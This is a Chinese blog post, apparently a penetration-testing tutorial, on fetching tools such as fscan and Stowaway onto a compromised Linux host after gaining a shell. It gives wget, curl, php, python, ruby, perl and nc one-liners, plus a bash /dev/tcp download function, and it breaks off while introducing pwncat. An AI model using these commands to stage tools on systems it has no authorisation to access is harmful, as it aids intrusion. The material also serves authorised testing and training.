{"id":2890,"date":"2023-10-21T00:00:03","date_gmt":"2023-10-20T16:00:03","guid":{"rendered":"https:\/\/fushuling.com\/?p=2890"},"modified":"2024-02-24T00:41:26","modified_gmt":"2024-02-23T16:41:26","slug":"%e5%90%8e%e6%b8%97%e9%80%8f%e4%b9%8b%e6%96%87%e4%bb%b6%e4%b8%8b%e8%bd%bdlinux%e7%af%87","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/10\/21\/%e5%90%8e%e6%b8%97%e9%80%8f%e4%b9%8b%e6%96%87%e4%bb%b6%e4%b8%8b%e8%bd%bdlinux%e7%af%87\/","title":{"rendered":"\u540e\u6e17\u900f\u4e4b\u6587\u4ef6\u4e0b\u8f7d(Linux\u7bc7)"},"content":{"rendered":"\n

\u524d\u8a00<\/h1>\n\n\n\n

\u4e4b\u524d\u5728p\u795e\u7684\u77e5\u8bc6\u661f\u7403\u91cc\u53d1\u8fc7\u4e00\u7248\uff0c\u56e0\u4e3a\u90a3\u91cc\u5e08\u5085\u4eec\u6c34\u5e73\u90fd\u6bd4\u8f83\u9ad8\uff0c\u6240\u4ee5\u53ea\u4ecb\u7ecd\u4e86\u51e0\u79cd\u6bd4\u8f83\u6781\u7aef\u7684\u4e0b\u8f7d\u65b9\u5f0f\uff0c\u653e\u535a\u5ba2\u4e0a\u8fd9\u4e2a\u4e3b\u8981\u8fd8\u662f\u9762\u5bf9\u521a\u5165\u95e8\u7684\u5e08\u5085\u7684\uff0c\u8bb2\u7ec6\u8282\u4e00\u4e9b\uff0c\u6240\u4ee5\u5148\u4ecb\u7ecd\u4e00\u4e9b\u6bd4\u8f83\u5165\u95e8\u7684\u65b9\u6cd5\u518d\u5206\u4eab\u6bd4\u8f83\u9ad8\u7ea7\u7684\u65b9\u6cd5\u3002<\/p>\n\n\n\n

\u57fa\u7840\u578b<\/h1>\n\n\n\n

\u4e3a\u4ec0\u4e48\u5728\u540e\u6e17\u900f\u7684\u65f6\u5019\u9700\u8981\u4e0b\u8f7d\u6587\u4ef6\u5462\uff0c\u5bf9\u4e8e\u4e00\u822c\u7684\u60c5\u51b5\uff0c\u6bd4\u5982\u6709\u7f51\u7ad9\u670d\u52a1\u7684php\u7f51\u7ad9\uff0c\u90a3\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5199\u9a6c\u8fde\u8681\u5251\uff0c\u7136\u540e\u628a\u6587\u4ef6\u62d6\u8fdb\u53bb\u5c31\u884c\u4e86\u3002\u9700\u8981\u4f20\u6587\u4ef6\u4e3b\u8981\u662f\u56e0\u4e3a\u6253\u5185\u7f51\u7684\u65f6\u5019\u9700\u8981\u4f20\u4ee3\u7406\u8f6f\u4ef6\u5efa\u7acb\u4ee3\u7406\u4ee5\u53ca\u4f20fscan\u4e4b\u7c7b\u7684\u5de5\u5177\uff0c\u5982\u679c\u6ca1\u6709\u73b0\u6210\u7684\u7f51\u7ad9\u670d\u52a1\u60f3\u4f20\u6587\u4ef6\u5c31\u6bd4\u8f83\u9ebb\u70e6\u4e86\uff0c\u6bd4\u5982\u53ea\u662f\u5f39\u4e86\u4e2ashell\uff0c\u8fd9\u65f6\u6211\u4eec\u5c31\u9700\u8981\u9760linux\u4e0a\u4e00\u4e9b\u73b0\u6210\u7684\u547d\u4ee4\u6765\u4e0b\u8f7d\u6587\u4ef6\u4e86\u3002<\/p>\n\n\n\n

\u56e0\u4e3a\u6211\u81ea\u5df1\u662f\u6709vps\u7684\uff0c\u6709\u516c\u7f51\u670d\u52a1\uff0c\u6240\u4ee5\u6211\u4e00\u822c\u4f1a\u76f4\u63a5\u628a\u8981\u4f20\u7684\u6587\u4ef6\u653e\u5728\u7f51\u7ad9\u670d\u52a1\u7684\u76ee\u5f55\uff0c\u8fd9\u6837\u76f4\u63a5\u8bbf\u95ee”http:\/\/ip:port\/\u6587\u4ef6”\u5c31\u53ef\u4ee5\u8bbf\u95ee\u5230\u60f3\u4e0b\u8f7d\u7684\u6587\u4ef6\u4e86\uff0c\u5e73\u65f6\u6253\u5185\u7f51\u7684\u8bdd\u8981\u4f20\u7684\u4e00\u822c\u4e5f\u5c31\u662ffscan\u548cStowaway\uff0cfscan\u662f\u62ff\u6765\u626b\u5185\u7f51\u7684\uff0cStowaway\u662f\u7528\u6765\u5efa\u7acb\u4ee3\u7406\uff0c\u5982\u4f55\u5efa\u7acb\u4ee3\u7406\u53ef\u4ee5\u770b\u6211\u4e4b\u524d\u5199\u7684\u5185\u7f51\u4ee3\u7406\u642d\u5efa<\/a>\u3002<\/p>\n\n\n\n

wget<\/h2>\n\n\n\n

wget\u662flinux\u4e0a\u7684\u547d\u4ee4\u884c\u7684\u4e0b\u8f7d\u5de5\u5177\uff0c\u4e5f\u662f\u5e73\u65f6\u7528\u7684\u6700\u591a\u7684\u547d\u4ee4\uff0c\u6625\u79cb\u4e91\u955c\u4e0a\u7684\u73af\u5883\u90fd\u6bd4\u8f83\u6b63\u5e38\uff0c\u4e00\u822c\u8fd9\u4e2a\u547d\u4ee4\u90fd\u6709\uff0c\u4e0d\u4f1a\u50cf\u4e4b\u524d\u90a3\u4e2a\u6bd4\u8d5b\u4e00\u6837\u90a3\u4e48\u62bd\u8c61\u3002\u7528\u6cd5\u4e3a(\u4e0d\u6307\u5b9a\u7aef\u53e3\u7684\u8bdd\u5c31\u662f\u9ed8\u8ba4\u7f51\u7ad9\u670d\u52a1\u7684\u7aef\u53e3)\uff1a<\/p>\n\n\n\n

wget http:\/\/ip:port\/\u6587\u4ef6<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
curl<\/h2>\n\n\n\n
curl\u547d\u4ee4\u9664\u4e86\u7528\u4e8e\u8bbf\u95ee\u7f51\u7ad9\u4e5f\u53ef\u4ee5\u7528\u4e8e\u4e0b\u8f7d\u6587\u4ef6\uff0c\u7528\u6cd5\u4e3a\uff1a<\/p>\n\n\n\n
curl -O http:\/\/ip:port\/\u6587\u4ef6<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u4e24\u79cd\u662f\u6700\u5e38\u89c1\u7684\uff0c\u8fd8\u6709\u4e00\u4e9b\u547d\u4ee4\u6bd4\u5982nc ssh resync\u4e5f\u53ef\u4ee5\u7528\u6765\u4e0b\u8f7d\u6587\u4ef6\uff0c\u53ea\u662f\u611f\u89c9\u7528\u6cd5\u6bd4\u8f83\u62bd\u8c61\u800c\u4e14\u4e0d\u662f\u5f88\u5b9e\u7528\uff0c\u5177\u4f53\u53ef\u4ee5\u770b\u770b\u540e\u6e17\u900f\u7cfb\u5217\u4e4b\u4e0b\u8f7d\u6587\u4ef6\uff08Linux\u7bc7\uff09<\/a><\/p>\n\n\n\n
php<\/h2>\n\n\n\n
\u5982\u679c\u4f60\u62ff\u5230shell\u7684\u662f\u4e00\u4e2aphp\u7684\u7ad9\uff0c\u4e00\u822c\u6765\u8bf4\u662f\u80fd\u76f4\u63a5\u5199\u9a6c\u7136\u540e\u8fde\u8681\u5251\u7684\uff0c\u7528\u8681\u5251\u76f4\u63a5\u4f20\u6587\u4ef6\u5c31\u884c\u4e86\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u4e5f\u4ecb\u7ecd\u4e00\u4e0b\u600e\u4e48\u7528php\u547d\u4ee4\u6765\u4e0b\u8f7d\u6587\u4ef6\u3002<\/p>\n\n\n\n
php -r \"file_put_contents('\u4fdd\u5b58\u5230\u672c\u5730\u7684\u8def\u5f84', fopen('\u8fdc\u7a0b\u6587\u4ef6\u7684URL', 'r'));\"\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
python<\/h2>\n\n\n\n
\u5982\u679c\u4f60\u62ff\u5230shell\u7684\u662f\u4e00\u4e2apython\u7684\u7ad9\uff0c\u53ef\u4ee5\u7528python\u6267\u884c\u4ee3\u7801\u5b9e\u73b0\u6587\u4ef6\u4e0b\u8f7d\uff1a<\/p>\n\n\n\n
python -c \"import urllib.request;urllib.request.urlretrieve('\u8fdc\u7a0b\u6587\u4ef6\u7684URL', '\u4fdd\u5b58\u5230\u672c\u5730\u7684\u8def\u5f84')\"\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
ruby<\/h2>\n\n\n\n
\u5982\u679c\u73af\u5883\u91cc\u6709ruby\u4e5f\u53ef\u4ee5\u7528ruby\u6267\u884c\u4ee3\u7801\u4e0b\u8f7d\u6587\u4ef6\uff1a<\/p>\n\n\n\n
ruby -e \"require 'open-uri'; open('\u8fdc\u7a0b\u6587\u4ef6\u7684URL') {|f| File.open('\u4fdd\u5b58\u5230\u672c\u5730\u7684\u8def\u5f84', 'wb') {|file| file.puts f.read} }\"\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
perl<\/h2>\n\n\n\n
\u6709\u4e9blinux\u670d\u52a1\u5668\u91cc\u81ea\u5e26\u7684\u5c31\u6709perl\u8bed\u8a00\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u7528perl\u6267\u884c\u4ee3\u7801\u4e0b\u8f7d\u6587\u4ef6<\/p>\n\n\n\n
perl -e \"use LWP::Simple; getstore('\u8fdc\u7a0b\u6587\u4ef6\u7684URL', '\u4fdd\u5b58\u5230\u672c\u5730\u7684\u8def\u5f84')\"\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6709\u5e08\u5085\u80af\u5b9a\u8981\u95ee\u4e86\uff0c\u90a3\u7528java\u53ef\u4ee5\u5b9e\u73b0\u8fd9\u79cd\u529f\u80fd\u5417\uff0c\u6211\u8bd5\u4e86\u4e0b\u5fc5\u987b\u5f97\u6307\u5b9a\u5e93\uff0c\u4e0d\u662f\u5f88\u597d\u7528\uff0c\u6ca1\u6709\u5565\u901a\u7528\u7684\u65b9\u6cd5\uff0c\u8fd9\u91cc\u5c31\u4e0d\u5206\u4eab\u4e86\u3002<\/p>\n\n\n\n
nc<\/h2>\n\n\n\n
nc\u6709\u4e24\u4e2a\u4f5c\u7528\uff0c\u4e00\u4e2a\u662f\u76d1\u542c\u6570\u636e\uff0c\u4e00\u4e2a\u662f\u4f20\u8f93\u6570\u636e\uff0c\u6240\u4ee5\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7nc\u5b9e\u73b0\u6587\u4ef6\u4f20\u8f93\u3002<\/p>\n\n\n\n
\u6bd4\u5982\u6211\u60f3\u4ecevps\u5411\u672c\u5730kali\u4f20\u4e00\u4e2atest.txt\uff0c\u5728vps\u4e0a\u8f93\u5165<\/p>\n\n\n\n
nc -lvvp 9383 < test.txt<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5728\u672c\u5730kali\u8f93\u5165<\/p>\n\n\n\n
nc VPS_IP 9383 > test.txt<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u9ad8\u7ea7\u578b<\/h1>\n\n\n\n
\u81ea\u5b9a\u4e49Linux\u51fd\u6570<\/h2>\n\n\n\n
linux\u91cc\u53ef\u4ee5\u628a\u4e00\u4e9b\u91cd\u590d\u4f7f\u7528\u7684\u547d\u4ee4\u5c01\u88c5\u6210\u4e00\u4e2a\u96c6\u5408,\u4e4b\u540e\u53ef\u4ee5\u4f7f\u7528\u51fd\u6570\u540d\u8c03\u7528\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u5199\u4e00\u4e2adownload\u51fd\u6570\uff0c\u5927\u6982\u539f\u7406\u5c31\u662f\u4f7f\u7528\/dev\/tcp\u8bbe\u5907\u6587\u4ef6\u4e0e\u670d\u52a1\u5668\u5efa\u7acbTCP\u8fde\u63a5\uff0c\u5e76\u53d1\u9001HTTP\u8bf7\u6c42\u83b7\u53d6\u6587\u4ef6\u5185\u5bb9\uff0c\u6700\u540e\u5c06\u6587\u4ef6\u5185\u5bb9\u6253\u5370\u5230\u6807\u51c6\u8f93\u51fa\uff0c\u6700\u540e\u628a\u8f93\u51fa\u91cd\u5b9a\u5411\u5c31\u53ef\u4ee5\u83b7\u5f97\u6587\u4ef6\u4e86\u3002\u5728\u547d\u4ee4\u884c\u8f93\u5165\uff1a<\/p>\n\n\n\n
function DOWNLOAD() {\n  url=$1\n  proto=\"http:\/\/\"\n  host=${url\/$proto\/}\n  server=${host%%\/*}\n  path=${host#*\/}\n  DOC=\/${path\/\/ \/}\n  HOST=${server\/:*\/}\n\n  PORT=${server\/*:\/}\n  [[ -n ${PORT} ]] || PORT=80\n  PORT=$(( PORT + 0 ))\n\n  exec 3<>\/dev\/tcp\/${HOST}\/${PORT}\n  echo -en \"GET ${DOC} HTTP\/1.0\\r\\nHost: ${HOST}\\r\\n\\r\\n\" >&3\n  while IFS= read -r line ; do\n    [[ \"${line}\" == $'\\r' ]] && break\n  done <&3\n  nul='\\0'\n  while IFS= read -d '' -r x || { nul=\"\"; [ -n \"$x\" ]; }; do\n    printf \"%s${nul}\" \"${x}\"\n  done <&3\n  exec 3>&-\n}<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u63a5\u7740\u56de\u8f66<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5c31\u53ef\u4ee5\u4f7f\u7528\u81ea\u5b9a\u4e49\u7684DOWNLOAD\u51fd\u6570\u4e0b\u8f7d\u6587\u4ef6\u4e86\uff0c\u8f93\u5165<\/p>\n\n\n\n
DOWNLOAD http:\/\/url:port\/fscan >fscan<\/code><\/pre>\n\n\n\n
\u5373\u53ef\u6210\u529f\u8fdc\u7a0b\u4e0b\u8f7d\u6587\u4ef6<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7f3a\u70b9\u662f\u540c\u4e00\u5957\u4ee3\u7801\u4e0d\u540c\u7cfb\u7edf\u53ef\u80fd\u4e0d\u9002\u7528\uff0c\u5f97\u4e0d\u540c\u73af\u5883\u4e0d\u540c\u5199\u6cd5\uff0c\u6211\u8fd9\u4e2a\u5728centos\u6d4b\u8bd5\u6210\u529f\u4e86\uff0c\u7136\u540eubuntu\u4e0b\u4e5f\u9002\u7528\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5176\u4ed6\u73af\u5883\u4e0d\u6562\u4fdd\u8bc1\uff0c\u540c\u65f6\u53d6\u6d88\u81ea\u5b9a\u4e49\u51fd\u6570\u7684\u547d\u4ee4\uff1a<\/p>\n\n\n\n
unset DOWNLOAD<\/code><\/pre>\n\n\n\n
pwncat<\/h2>\n\n\n\n
pwncat\u662f\u4e00\u6b3e\u529f\u80fd\u5f3a\u5927\u7684\u53cd\u5411Shell&BindShell\u5904\u7406\u5de5\u5177\uff0c\u540c\u65f6\u4e5f\u662f\u4e00\u4e2a\u4e3b\u8981\u9488\u5bf9Linux\u7cfb\u7edf\u4e3a\u6d4b\u8bd5\u76ee\u6807\u7684\u540e\u6e17\u900f\u6f0f\u6d1e\u5229\u7528\u5f00\u53d1\u5e73\u53f0\uff0c\u6700\u8fd1\u5f00\u53d1\u8005\u5df2\u7ecf\u52a0\u5165\u4e86\u5bf9windows\u7cfb\u7edf\u7684\u652f\u6301\u3002<\/p>\n\n\n\n
pwncat\u53ef\u4ee5\u7528\u4e8e\u4ee3\u66ffnc\u8fdb\u884c\u53cd\u5f39shell\u7684\u63a5\u6536<\/strong>\uff0cpwncat\u53ef\u4ee5\u62e6\u622a\u4e0e\u8fdc\u7a0bshell\u7684\u539f\u59cb\u901a\u4fe1\uff0c\u5e76\u5141\u8bb8\u7528\u6237\u5728\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u6267\u884c\u81ea\u52a8\u5316\u64cd\u4f5c\uff0c\u5305\u62ec\u679a\u4e3e\u3001\u690d\u5165\u5b89\u88c5\u751a\u81f3\u6743\u9650\u5347\u7ea7\u3002\u540c\u65f6\uff0cpwncat\u8fd8\u4f1a\u81ea\u52a8\u4f18\u5316shell\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a<\/p>\n\n\n\n